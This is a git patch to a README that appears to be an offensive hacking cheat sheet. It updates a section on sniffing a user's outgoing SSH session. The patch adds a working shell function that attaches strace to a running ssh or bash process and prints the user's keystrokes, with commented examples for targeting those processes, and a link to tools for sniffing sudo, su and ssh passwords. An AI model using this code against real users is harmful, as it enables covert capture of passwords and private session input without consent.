From b5218e815fe4b37c4c9e7084902bf69fa851052b Mon Sep 17 00:00:00 2001
From: skyper <5938498+SkyperTHC@users.noreply.github.com>
Date: Wed, 28 Aug 2024 16:47:19 +0100
Subject: [PATCH] Update README.md
---
README.md | 8 ++++++--
1 file changed, 6 insertions(+), 2 deletions(-)
diff --git a/README.md b/README.md
index 1b69c3e..48a3883 100644
--- a/README.md
+++ b/README.md
@@ -2050,9 +2050,13 @@ Check out our very own [eBPF tools to sniff sudo/su/ssh passwords](https://githu
**10.iv Sniff a user's outgoing SSH session with strace**
```sh
-strace -e trace=read -p 2>&1 | while read x; do echo "$x" | grep '^read.*= [1-9]$' | cut -f2 -d\"; done
+tit() {
+ strace -e trace=read -p "${1:?}" 2>&1 | stdbuf -oL grep '^read.*= [1-9]$' | awk 'BEGIN{FS="\"";}{if ($2=="\\r"){print ""}else{printf $2}}'
+}
+# tit $(pidof -s ssh)
+# tit $(pidof -s bash)
```
-Dirty way to monitor a user who is using *ssh* to connect to another host from a computer that you control.
+Dirty way to monitor a user who is using *ssh* or their shell to connect to another host from a computer that you control.